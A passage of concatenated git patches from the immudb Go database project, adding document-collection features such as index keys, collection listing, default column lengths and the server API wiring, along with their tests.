for blob, which stores the document as a whole - collectionSpec = append(collectionSpec, sql.NewColSpec(defaultDocumentBLOBField, sql.BLOBType, 0, false, false)) + columns = append(columns, sql.NewColSpec(defaultDocumentBLOBField, sql.BLOBType, 0, false, false)) + // add index keys + for name, schType := range idxKeys { + indexKeys = append(indexKeys, name) + columns = append(columns, sql.NewColSpec(name, schType, 0, false, false)) + } + + // add columns to collection _, _, err := d.ExecPreparedStmts( context.Background(), nil, []sql.SQLStmt{sql.NewCreateTableStmt( collectionName, false, - collectionSpec, + columns, primaryKeys, )}, nil, ) - return err + if err != nil { + return err + } + + if len(indexKeys) > 0 { + // add indexes to collection + _, _, err = d.ExecPreparedStmts( + context.Background(), + nil, + []sql.SQLStmt{sql.NewCreateIndexStmt(collectionName, indexKeys)}, + nil, + ) + if err != nil { + return err + } + } + + return nil } func (d *Engine) CreateDocument(ctx context.Context, collectionName string, documents []*structpb.Struct) error { @@ -266,7 +291,7 @@ func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (ma return table.ColsByName(), nil } -func (d *Engine) GetDocument(ctx context.Context, dbName string, collectionName string, queries []*Query, maxResultSize int) ([]*structpb.Struct, error) { +func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries []*Query, maxResultSize int) ([]*structpb.Struct, error) { exp, err := d.generateExp(ctx, collectionName, queries) if err != nil { return nil, err diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 87e2571a46..3eaaf1de64 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -43,10 +43,17 @@ func TestCreateCollection(t *testing.T) { engine := makeEngine(t) collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ - "id": sql.IntegerType, - "number": sql.IntegerType, - }, nil) + err := engine.CreateCollection( + context.Background(), + collectionName, + map[string]sql.SQLValueType{ + "id": sql.IntegerType, + "number": sql.IntegerType, + }, + map[string]sql.SQLValueType{ + "pin": sql.IntegerType, + }, + ) require.NoError(t, err) catalog, err := engine.Catalog(context.Background(), nil) @@ -56,6 +63,7 @@ func TestCreateCollection(t *testing.T) { require.NoError(t, err) require.Equal(t, collectionName, table.Name()) + c, err := table.GetColumnByName("id") require.NoError(t, err) require.Equal(t, c.Name(), "id") @@ -64,10 +72,14 @@ func TestCreateCollection(t *testing.T) { require.NoError(t, err) require.Equal(t, c.Name(), "number") + c, err = table.GetColumnByName("pin") + require.NoError(t, err) + require.Equal(t, c.Name(), "pin") + // get collection indexes, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) - require.Equal(t, 1, len(indexes)) + require.Equal(t, 2, len(indexes)) primaryKeyCount := 0 indexKeyCount := 0 @@ -80,14 +92,14 @@ func TestCreateCollection(t *testing.T) { } } require.Equal(t, 2, primaryKeyCount) - require.Equal(t, 0, indexKeyCount) + require.Equal(t, 1, indexKeyCount) } func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { return &schemav2.IndexOption{Type: indexType} } -func TestGetCollection(t *testing.T) { +func TestGetDocument(t *testing.T) { engine := makeEngine(t) // create collection @@ -136,7 +148,7 @@ func TestGetCollection(t *testing.T) { }, } - doc, err := engine.GetDocument(context.Background(), "db1", collectionName, expressions, 10) + doc, err := engine.GetDocument(context.Background(), collectionName, expressions, 10) require.NoError(t, err) require.Equal(t, 1, len(doc)) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 57501fa50c..5e24489fd9 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -370,6 +370,10 @@ type ColSpec struct { notNull bool } +func NewCreateIndexStmt(table string, cols []string) *CreateIndexStmt { + return &CreateIndexStmt{unique: true, table: table, cols: cols} +} + type CreateIndexStmt struct { unique bool ifNotExists bool diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 79b65a7c8c..773d10d3a9 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -19,10 +19,9 @@ var ( // ObjectDatabase is the interface for object database type ObjectDatabase interface { // GetCollection returns the collection schema - GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) + GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) // CreateCollection creates a new collection CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error - // GetDocument returns the document GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) // CreateDocument creates a new document @@ -30,13 +29,13 @@ type ObjectDatabase interface { } // GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { +func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) { indexes, err := d.documentEngine.GetCollection(ctx, req.Name) if err != nil { return nil, err } - resp := &schemav2.CollectionInformation{ + cinfo := &schemav2.CollectionInformation{ Name: req.Name, PrimaryKeys: make(map[string]*schemav2.IndexOption), IndexKeys: make(map[string]*schemav2.IndexOption), @@ -57,14 +56,14 @@ func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetReque // check if primary key if idx.IsPrimary() { - resp.PrimaryKeys[col.Name()] = &schemav2.IndexOption{Type: colType} + cinfo.PrimaryKeys[col.Name()] = &schemav2.IndexOption{Type: colType} } else { - resp.IndexKeys[col.Name()] = &schemav2.IndexOption{Type: colType} + cinfo.IndexKeys[col.Name()] = &schemav2.IndexOption{Type: colType} } } } - return resp, nil + return &schemav2.CollectionGetResponse{Collection: cinfo}, nil } // CreateCollection creates a new collection @@ -117,7 +116,7 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques Value: q.Value, }) } - results, err := d.documentEngine.GetDocument(ctx, d.name, req.Collection, queries, d.maxResultSize) + results, err := d.documentEngine.GetDocument(ctx, req.Collection, queries, d.maxResultSize) if err != nil { return nil, err } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 703d92e303..955fe6bfe0 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -27,10 +27,11 @@ func TestObjectDB_Collection(t *testing.T) { require.NoError(t, err) // get collection - resp, err := db.GetCollection(context.Background(), &schemav2.CollectionGetRequest{ + cinfo, err := db.GetCollection(context.Background(), &schemav2.CollectionGetRequest{ Name: collectionName, }) require.NoError(t, err) + resp := cinfo.Collection require.Equal(t, 0, len(resp.IndexKeys)) require.Equal(t, 1, len(resp.PrimaryKeys)) require.Contains(t, resp.PrimaryKeys, "id") diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 8b1c1be0f8..d1f3b4e69a 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -246,7 +246,7 @@ func (db *closedDB) Truncate(ts time.Duration) error { } // GetCollection returns the collection schema -func (d *closedDB) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { +func (d *closedDB) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) { return nil, store.ErrAlreadyClosed } From a5f5c0b1c2d9d1579f6bc4c586f572f7b72d7e34 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 13 Mar 2023 14:46:55 +0530 Subject: [PATCH 0324/1062] chore(pkg/database): remove object store db initialisation --- embedded/sql/engine.go | 1 + pkg/database/database.go | 35 +++++++++++++------------- pkg/database/document_database_test.go | 32 ++++++++++++++++++++++- 3 files changed, 50 insertions(+), 18 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index e64c5a0df2..7f8e12daca 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -262,6 +262,7 @@ func (e *Engine) ExecPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt } ntx, hctxs, err := e.multidbHandler.ExecPreparedStmts(ctx, opts, pendingStmts, params) + return ntx, append(ctxs, hctxs...), err } diff --git a/pkg/database/database.go b/pkg/database/database.go index a2eff74fa5..e855ecc0f6 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -154,8 +154,9 @@ type db struct { sqlEngine *sql.Engine documentEngine *document.Engine - sqlInitCancel chan (struct{}) - sqlInit sync.WaitGroup + + engineInitCancel chan (struct{}) + engineInit sync.WaitGroup mutex *instrumentedRWMutex closingMutex sync.Mutex @@ -235,11 +236,11 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return dbi, nil } - dbi.sqlInitCancel = make(chan struct{}) - dbi.sqlInit.Add(1) + dbi.engineInitCancel = make(chan struct{}) + dbi.engineInit.Add(1) go func() { - defer dbi.sqlInit.Done() + defer dbi.engineInit.Done() dbi.Logger.Infof("Loading SQL Engine for database '%s' {replica = %v}...", dbName, op.replica) @@ -390,15 +391,15 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - _, _, err = dbi.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) - if err != nil { - return nil, logErr(dbi.Logger, "Unable to open database: %s", err) - } + // _, _, err = dbi.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) + // if err != nil { + // return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + // } - err = dbi.documentEngine.SetCurrentDatabase(context.Background(), dbInstanceName) - if err != nil { - return nil, logErr(dbi.Logger, "Unable to open database: %s", err) - } + // err = dbi.documentEngine.SetCurrentDatabase(context.Background(), dbInstanceName) + // if err != nil { + // return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + // } } dbi.sqlEngine.SetMultiDBHandler(multidbHandler) @@ -1662,12 +1663,12 @@ func (d *db) Close() (err error) { } }() - if d.sqlInitCancel != nil { - close(d.sqlInitCancel) - d.sqlInitCancel = nil + if d.engineInitCancel != nil { + close(d.engineInitCancel) + d.engineInitCancel = nil } - d.sqlInit.Wait() // Wait for SQL Engine initialization to conclude + d.engineInit.Wait() // Wait for SQL Engine initialization to conclude return d.st.Close() } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 955fe6bfe0..39a02bf926 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -2,9 +2,12 @@ package database import ( "context" + "os" "testing" + "github.com/codenotary/immudb/embedded/sql" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) @@ -13,8 +16,35 @@ func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { return &schemav2.IndexOption{Type: indexType} } +func makeDocumentDb(t *testing.T) *db { + rootPath := t.TempDir() + + dbName := "doc_test_db" + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)) + d, err := NewDB(dbName, nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) + require.NoError(t, err) + + t.Cleanup(func() { + err := d.Close() + if !t.Failed() { + require.NoError(t, err) + } + }) + + db := d.(*db) + + _, _, err = db.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbName}}, nil) + require.NoError(t, err) + + err = db.documentEngine.SetCurrentDatabase(context.Background(), dbName) + require.NoError(t, err) + + return db +} + func TestObjectDB_Collection(t *testing.T) { - db := makeDb(t) + db := makeDocumentDb(t) // create collection collectionName := "mycollection" From 7689d9b8e53563ddf63988b142896c0af7616eb0 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 14 Mar 2023 09:48:54 +0530 Subject: [PATCH 0325/1062] chore(embedded/document): add variable length support for multiple types --- embedded/document/engine.go | 51 +++++++++++- embedded/document/engine_test.go | 81 +++++++++++++----- pkg/database/document_database.go | 109 +++++++++++++++++-------- pkg/database/document_database_test.go | 2 +- pkg/server/db_dummy_closed.go | 8 +- 5 files changed, 194 insertions(+), 57 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index b6f4aa6096..7a42126ab5 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -60,6 +60,20 @@ var ( return nil, errType } + + valueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { + errType := fmt.Errorf("unsupported type %v", stype) + switch stype { + case sql.VarcharType: + return 256, nil + case sql.IntegerType: + return 0, nil + case sql.BLOBType: + return 256, nil + } + + return 0, errType + } ) type Query struct { @@ -97,7 +111,11 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pk primaryKeys = append(primaryKeys, name) // TODO: add support for other types // TODO: add support for auto increment - columns = append(columns, sql.NewColSpec(name, schType, 0, false, false)) + colLen, err := valueTypeDefaultLength(schType) + if err != nil { + return fmt.Errorf("primary key specified is not supported: %v", schType) + } + columns = append(columns, sql.NewColSpec(name, schType, colLen, false, false)) } // add columnn for blob, which stores the document as a whole @@ -106,7 +124,11 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pk // add index keys for name, schType := range idxKeys { indexKeys = append(indexKeys, name) - columns = append(columns, sql.NewColSpec(name, schType, 0, false, false)) + colLen, err := valueTypeDefaultLength(schType) + if err != nil { + return fmt.Errorf("index key specified is not supported: %v", schType) + } + columns = append(columns, sql.NewColSpec(name, schType, colLen, false, false)) } // add columns to collection @@ -212,7 +234,30 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, docu return err } -// TODO: remove schema response from this function +func (d *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, error) { + tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + database, err := tx.Catalog().GetDatabaseByName(d.CurrentDatabase()) + if err != nil { + return nil, err + } + + collectionMap := make(map[string][]*sql.Index) + for _, table := range database.GetTables() { + _, ok := collectionMap[table.Name()] + if !ok { + collectionMap[table.Name()] = make([]*sql.Index, 0) + } + collectionMap[table.Name()] = append(collectionMap[table.Name()], table.GetIndexes()...) + } + + return collectionMap, nil +} + func (d *Engine) GetCollection(ctx context.Context, collectionName string) ([]*sql.Index, error) { tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 3eaaf1de64..acbd5523e9 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -39,6 +39,42 @@ func makeEngine(t *testing.T) *Engine { return engine } +func TestListCollections(t *testing.T) { + engine := makeEngine(t) + + collections := []string{"mycollection1", "mycollection2", "mycollection3"} + for _, collectionName := range collections { + err := engine.CreateCollection( + context.Background(), + collectionName, + map[string]sql.SQLValueType{ + "id": sql.IntegerType, + "number": sql.IntegerType, + "name": sql.VarcharType, + }, + map[string]sql.SQLValueType{ + "pin": sql.IntegerType, + "country": sql.VarcharType, + }, + ) + require.NoError(t, err) + } + + collectionList, err := engine.ListCollections(context.Background()) + require.NoError(t, err) + require.Equal(t, len(collections), len(collectionList)) + + for _, indexes := range collectionList { + for _, index := range indexes { + if index.IsPrimary() { + require.Equal(t, 3, len(index.Cols())) + } else { + require.Equal(t, 2, len(index.Cols())) + } + } + } +} + func TestCreateCollection(t *testing.T) { engine := makeEngine(t) @@ -49,9 +85,11 @@ func TestCreateCollection(t *testing.T) { map[string]sql.SQLValueType{ "id": sql.IntegerType, "number": sql.IntegerType, + "name": sql.VarcharType, }, map[string]sql.SQLValueType{ - "pin": sql.IntegerType, + "pin": sql.IntegerType, + "country": sql.VarcharType, }, ) require.NoError(t, err) @@ -64,17 +102,22 @@ func TestCreateCollection(t *testing.T) { require.Equal(t, collectionName, table.Name()) - c, err := table.GetColumnByName("id") - require.NoError(t, err) - require.Equal(t, c.Name(), "id") + pcols := []string{"id", "number", "name"} + idxcols := []string{"pin", "country"} - c, err = table.GetColumnByName("number") - require.NoError(t, err) - require.Equal(t, c.Name(), "number") + // verify primary keys + for _, col := range pcols { + c, err := table.GetColumnByName(col) + require.NoError(t, err) + require.Equal(t, c.Name(), col) + } - c, err = table.GetColumnByName("pin") - require.NoError(t, err) - require.Equal(t, c.Name(), "pin") + // verify index keys + for _, col := range idxcols { + c, err := table.GetColumnByName(col) + require.NoError(t, err) + require.Equal(t, c.Name(), col) + } // get collection indexes, err := engine.GetCollection(context.Background(), collectionName) @@ -91,8 +134,8 @@ func TestCreateCollection(t *testing.T) { indexKeyCount += len(idx.Cols()) } } - require.Equal(t, 2, primaryKeyCount) - require.Equal(t, 1, indexKeyCount) + require.Equal(t, 3, primaryKeyCount) + require.Equal(t, 2, indexKeyCount) } func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { @@ -105,9 +148,9 @@ func TestGetDocument(t *testing.T) { // create collection collectionName := "mycollection" err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ - "id": sql.IntegerType, - "pincode": sql.IntegerType, - "country_id": sql.IntegerType, + "id": sql.IntegerType, + "pincode": sql.IntegerType, + "country": sql.VarcharType, }, nil) require.NoError(t, err) require.NoError(t, err) @@ -122,8 +165,8 @@ func TestGetDocument(t *testing.T) { "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 2}, }, - "country_id": { - Kind: &structpb.Value_NumberValue{NumberValue: 3}, + "country": { + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, }, }, @@ -133,10 +176,10 @@ func TestGetDocument(t *testing.T) { expressions := []*Query{ { - Field: "country_id", + Field: "country", Operator: 0, // EQ Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 3}, + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, }, { diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 773d10d3a9..4a0d62bd62 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -21,56 +21,53 @@ type ObjectDatabase interface { // GetCollection returns the collection schema GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) // CreateCollection creates a new collection - CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error + CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) + // ListCollections returns the list of collection schemas + ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) // GetDocument returns the document GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) // CreateDocument creates a new document CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) } -// GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) { - indexes, err := d.documentEngine.GetCollection(ctx, req.Name) +func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { + collections, err := d.documentEngine.ListCollections(ctx) if err != nil { return nil, err } - cinfo := &schemav2.CollectionInformation{ - Name: req.Name, - PrimaryKeys: make(map[string]*schemav2.IndexOption), - IndexKeys: make(map[string]*schemav2.IndexOption), + cinfos := make([]*schemav2.CollectionInformation, 0, len(collections)) + for collectionName, indexes := range collections { + cinfos = append(cinfos, newCollectionInformation(collectionName, indexes)) } - // iterate over indexes and extract primary and index keys - for _, idx := range indexes { - for _, col := range idx.Cols() { - var colType schemav2.IndexType - switch col.Type() { - case sql.VarcharType: - colType = schemav2.IndexType_STRING - case sql.IntegerType: - colType = schemav2.IndexType_INTEGER - case sql.BLOBType: - colType = schemav2.IndexType_STRING - } + return &schemav2.CollectionListResponse{Collections: cinfos}, nil +} - // check if primary key - if idx.IsPrimary() { - cinfo.PrimaryKeys[col.Name()] = &schemav2.IndexOption{Type: colType} - } else { - cinfo.IndexKeys[col.Name()] = &schemav2.IndexOption{Type: colType} - } - } +func (d *db) getCollection(ctx context.Context, collectionName string) (*schemav2.CollectionInformation, error) { + indexes, err := d.documentEngine.GetCollection(ctx, collectionName) + if err != nil { + return nil, err + } + + return newCollectionInformation(collectionName, indexes), nil +} + +// GetCollection returns the collection schema +func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) { + cinfo, err := d.getCollection(ctx, req.Name) + if err != nil { + return nil, err } return &schemav2.CollectionGetResponse{Collection: cinfo}, nil } // CreateCollection creates a new collection -func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error { +func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) { // validate collection to contain at least one primary key if len(req.PrimaryKeys) == 0 { - return fmt.Errorf("collection must have at least one primary key") + return nil, fmt.Errorf("collection must have at least one primary key") } primaryKeys := make(map[string]sql.SQLValueType) @@ -80,7 +77,7 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat for name, pk := range req.PrimaryKeys { schType, isValid := schemaToValueType[pk.Type] if !isValid { - return fmt.Errorf("invalid primary key type: %v", pk) + return nil, fmt.Errorf("invalid primary key type: %v", pk) } // TODO: add support for other types // TODO: add support for auto increment @@ -91,14 +88,25 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat for name, pk := range req.IndexKeys { schType, isValid := schemaToValueType[pk.Type] if !isValid { - return fmt.Errorf("invalid primary key type: %v", pk) + return nil, fmt.Errorf("invalid index key type: %v", pk) } // TODO: add support for other types // TODO: add support for auto increment indexKeys[name] = schType } - return d.documentEngine.CreateCollection(ctx, req.Name, primaryKeys, indexKeys) + err := d.documentEngine.CreateCollection(ctx, req.Name, primaryKeys, indexKeys) + if err != nil { + return nil, err + } + + // get collection information + cinfo, err := d.getCollection(ctx, req.Name) + if err != nil { + return nil, err + } + + return &schemav2.CollectionCreateResponse{Collection: cinfo}, nil } // CreateDocument creates a new document @@ -122,3 +130,40 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques } return &schemav2.DocumentSearchResponse{Results: results}, nil } + +// helper function to create a collection information +func newCollectionInformation(collectionName string, indexes []*sql.Index) *schemav2.CollectionInformation { + cinfo := &schemav2.CollectionInformation{ + Name: collectionName, + PrimaryKeys: make(map[string]*schemav2.IndexOption), + IndexKeys: make(map[string]*schemav2.IndexOption), + } + + // iterate over indexes and extract primary and index keys + for _, idx := range indexes { + for _, col := range idx.Cols() { + var colType schemav2.IndexType + switch col.Type() { + case sql.VarcharType: + colType = schemav2.IndexType_STRING + case sql.IntegerType: + colType = schemav2.IndexType_INTEGER + case sql.BLOBType: + colType = schemav2.IndexType_STRING + } + + // check if primary key + if idx.IsPrimary() { + cinfo.PrimaryKeys[col.Name()] = &schemav2.IndexOption{ + Type: colType, + } + } else { + cinfo.IndexKeys[col.Name()] = &schemav2.IndexOption{ + Type: colType, + } + } + } + } + + return cinfo +} diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 39a02bf926..3892a2d459 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -48,7 +48,7 @@ func TestObjectDB_Collection(t *testing.T) { // create collection collectionName := "mycollection" - err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ + _, err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ Name: collectionName, PrimaryKeys: map[string]*schemav2.IndexOption{ "id": newIndexOption(schemav2.IndexType_INTEGER), diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index d1f3b4e69a..6f7d5e6949 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -251,8 +251,8 @@ func (d *closedDB) GetCollection(ctx context.Context, req *schemav2.CollectionGe } // CreateCollection creates a new collection -func (d *closedDB) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error { - return store.ErrAlreadyClosed +func (d *closedDB) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) { + return nil, store.ErrAlreadyClosed } // GetDocument returns the document @@ -264,3 +264,7 @@ func (d *closedDB) GetDocument(ctx context.Context, req *schemav2.DocumentSearch func (d *closedDB) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { return nil, store.ErrAlreadyClosed } + +func (d *closedDB) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { + return nil, store.ErrAlreadyClosed +} From 1ec89b14e5049eb69a5962935c406555373a4cab Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 14 Mar 2023 09:49:52 +0530 Subject: [PATCH 0326/1062] chore(pkg/server): integrate document functions with server apis --- pkg/server/documents_operations.go | 43 +++++++++++++++++++++++------- 1 file changed, 33 insertions(+), 10 deletions(-) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 10cca4d0ae..3674a00998 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -23,45 +23,66 @@ import ( ) func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.DocumentInsertRequest) (*documentschema.DocumentInsertResponse, error) { - _, err := s.getDBFromCtx(ctx, "DocumentInsert") + db, err := s.getDBFromCtx(ctx, "DocumentInsert") if err != nil { return nil, err } - return nil, nil + resp, err := db.CreateDocument(ctx, req) + if err != nil { + return nil, err + } + return resp, nil } func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.DocumentSearchRequest) (*documentschema.DocumentSearchResponse, error) { - _, err := s.getDBFromCtx(ctx, "DocumentSearch") + db, err := s.getDBFromCtx(ctx, "DocumentSearch") if err != nil { return nil, err } - return nil, nil + resp, err := db.GetDocument(ctx, req) + if err != nil { + return nil, err + } + return resp, nil } func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentschema.CollectionCreateRequest) (*documentschema.CollectionCreateResponse, error) { - _, err := s.getDBFromCtx(ctx, "CollectionCreate") + db, err := s.getDBFromCtx(ctx, "CollectionCreate") if err != nil { return nil, err } - return nil, nil + resp, err := db.CreateCollection(ctx, req) + if err != nil { + return nil, err + } + return resp, nil } func (s *ImmuServer) CollectionGet(ctx context.Context, req *documentschema.CollectionGetRequest) (*documentschema.CollectionGetResponse, error) { - _, err := s.getDBFromCtx(ctx, "CollectionGet") + db, err := s.getDBFromCtx(ctx, "CollectionGet") if err != nil { return nil, err } - return nil, nil + resp, err := db.GetCollection(ctx, req) + if err != nil { + return nil, err + } + return resp, nil } func (s *ImmuServer) CollectionList(ctx context.Context, req *documentschema.CollectionListRequest) (*documentschema.CollectionListResponse, error) { - _, err := s.getDBFromCtx(ctx, "CollectionList") + db, err := s.getDBFromCtx(ctx, "CollectionList") if err != nil { return nil, err } - return nil, nil + resp, err := db.ListCollections(ctx, req) + if err != nil { + return nil, err + } + return resp, nil } +// TODO: implement func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentschema.CollectionDeleteRequest) (*documentschema.CollectionDeleteResponse, error) { _, err := s.getDBFromCtx(ctx, "CollectionDelete") if err != nil { @@ -70,6 +91,7 @@ func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentschema.C return nil, nil } +// TODO: implement func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentschema.DocumentAuditRequest) (*documentschema.DocumentAuditResponse, error) { _, err := s.getDBFromCtx(ctx, "DocumentAudit") if err != nil { @@ -78,6 +100,7 @@ func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentschema.Docu return nil, nil } +// TODO: implement func (s *ImmuServer) DocumentProof(ctx context.Context, req *documentschema.DocumentProofRequest) (*documentschema.DocumentProofResponse, error) { _, err := s.getDBFromCtx(ctx, "DocumentProof") if err != nil { From 978a3ff4c38c5ac631fbbcd4e6b5332e00ae130d Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 14 Mar 2023 10:03:48 +0530 Subject: [PATCH 0327/1062] chore(embedded/document): add tests for blob type --- embedded/document/engine_test.go | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index acbd5523e9..2a6f84f311 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -50,7 +50,7 @@ func TestListCollections(t *testing.T) { map[string]sql.SQLValueType{ "id": sql.IntegerType, "number": sql.IntegerType, - "name": sql.VarcharType, + "name": sql.BLOBType, }, map[string]sql.SQLValueType{ "pin": sql.IntegerType, @@ -151,6 +151,7 @@ func TestGetDocument(t *testing.T) { "id": sql.IntegerType, "pincode": sql.IntegerType, "country": sql.VarcharType, + "data": sql.BLOBType, }, nil) require.NoError(t, err) require.NoError(t, err) @@ -168,6 +169,13 @@ func TestGetDocument(t *testing.T) { "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, + "data": { + Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "key1": {Kind: &structpb.Value_StringValue{StringValue: "value1"}}, + }, + }}, + }, }, }, }, From 1183f19a0fccd3534e0034c3b6289a41c8ec1c84 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 14 Mar 2023 09:55:42 +0100 Subject: [PATCH 0328/1062] Permissions for methods --- pkg/auth/permissions.go | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/pkg/auth/permissions.go 